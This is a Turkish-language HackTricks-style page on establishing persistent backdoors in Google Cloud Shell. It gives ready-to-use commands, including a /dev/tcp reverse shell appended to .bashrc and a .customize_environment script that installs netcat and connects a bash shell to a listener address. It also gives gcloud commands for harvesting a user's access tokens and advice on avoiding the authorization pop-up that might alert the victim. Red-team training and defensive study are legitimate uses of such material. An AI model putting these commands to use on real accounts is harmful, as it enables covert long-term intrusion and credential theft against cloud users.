GCP - Cloud Shell Persistence

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Cloud Shell

Daha fazla bilgi için kontrol edin:

GCP - Cloud Shell Enum

Sürekli Arka Kapı

Google Cloud Shell tarayıcınızdan bulut kaynaklarınıza komut satırı erişimi sağlar ve bununla ilgili herhangi bir maliyet yoktur.

Google'ın Cloud Shell'ine web konsolundan veya gcloud cloud-shell ssh komutunu çalıştırarak erişebilirsiniz.

Bu konsolun saldırganlar için bazı ilginç yetenekleri vardır:

1. Google Cloud'a erişimi olan herhangi bir Google kullanıcısı, tamamen kimlik doğrulamalı bir Cloud Shell örneğine erişim sağlar (Hizmet Hesapları, organizasyonun Sahipleri olsa bile erişebilir).

2. Bu örnek, hiçbir etkinlik gerçekleşmezse en az 120 gün boyunca ana dizinini koruyacaktır.

3. Bu örneğin etkinliğini izleme yeteneği yoktur.

Bu, temelde bir saldırganın kullanıcının ana dizinine bir arka kapı koyabileceği ve kullanıcı her 120 günde bir GC Shell'e bağlandığı sürece, arka kapının hayatta kalacağı ve saldırganın her çalıştırıldığında bir shell alacağı anlamına gelir, sadece şunu yaparak:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Ev dizininde, eğer varsa, kullanıcının cloud shell'e eriştiği her seferinde çalıştırılacak olan başka bir dosya .customize_environment adında bulunmaktadır (önceki teknikte olduğu gibi). Kullanıcı "sık sık" cloud shell'i kullandığı sürece kalıcılığı sağlamak için önceki arka kapıyı veya aşağıdaki gibi birini ekleyin:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

Kimlik doğrulama gerektiren bir eylem gerçekleştirildiğinde, kullanıcının tarayıcısında bir onay penceresi açıldığını belirtmek önemlidir. Bu pencere, komut çalışmadan önce kabul edilmelidir. Beklenmedik bir pop-up görünürse, bu şüphe uyandırabilir ve kullanılan kalıcılık yöntemini tehlikeye atabilir.

Bu, bulut shell'den (saldırgan olarak) gcloud projects list komutunu çalıştırdığınızda kullanıcı oturumunda görülen pop-up'tır:

Ancak, kullanıcı bulut shell'i aktif olarak kullandıysa, pop-up görünmeyecek ve kullanıcının token'larını toplamak için:

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH bağlantısının nasıl kurulduğu

Temelde, bu 3 API çağrısı kullanılır:

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (yerel olarak oluşturduğunuz genel anahtarınızı eklemenizi sağlar)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (örneği başlatmanızı sağlar)

• https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (google cloud shell'in ip'sini bildirir)

Ancak daha fazla bilgi bulabilirsiniz https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referanslar

• https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec

• https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

• https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.